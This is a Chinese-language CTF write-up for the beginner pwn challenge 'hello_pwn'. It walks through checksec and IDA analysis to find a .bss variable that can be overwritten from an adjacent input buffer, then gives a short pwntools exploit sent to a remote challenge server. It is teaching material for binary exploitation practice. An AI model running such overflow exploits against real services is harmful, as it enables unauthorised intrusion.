攻防世界pwn新手练习(hello_pwn)

hello_pwn

拿到程序后,我们首先checksec一下
攻防世界pwn新手练习(hello_pwn)_第1张图片
可以看到是64位程序,好的是这次只开了NX(堆栈不可执行),ok,我们跑一下程序看看
攻防世界pwn新手练习(hello_pwn)_第2张图片
可以看到它是一个输入,然后就啥都没有了emmmm…好吧,咱们继续放到IDA里面看看
攻防世界pwn新手练习(hello_pwn)_第3张图片通过观察我们可以发现当dword_60106C这个变量的值为1853186401时,程序会进入一个函数中,而这个函数的作用则是抓取flag。

好了,很明显了,接下来的问题时我们如何去改变这个变量的值。通过双击查看我们可以知道dword_60106Cunk_601068这俩变量都在.bss段,并且dword_60106C就在离unk_601068四个位置的地方,而凑巧的时unk_601068时可以被控制的,它是由我们输入的,而输入点给了我们10个长度的输入权限,那正好,我们可以借此覆盖掉dword_60106C使它变成我们需要的数值
攻防世界pwn新手练习(hello_pwn)_第4张图片ok了,分析结束,上exp

from pwn import *

#context.log_level = 'debug'

r = remote('111.198.29.45', 42136)

payload = 'A' * 4 + p64(1853186401)

r.recvuntil("lets get helloworld for bof\n")
r.sendline(payload)
print r.recv()

我们瞅一下运行结果
攻防世界pwn新手练习(hello_pwn)_第5张图片最后放一下我的博客(www.sailingplace.cn),有兴趣的师傅们可以来转转

ok,nice!我们下次见。

你可能感兴趣的:(攻防世界,pwn)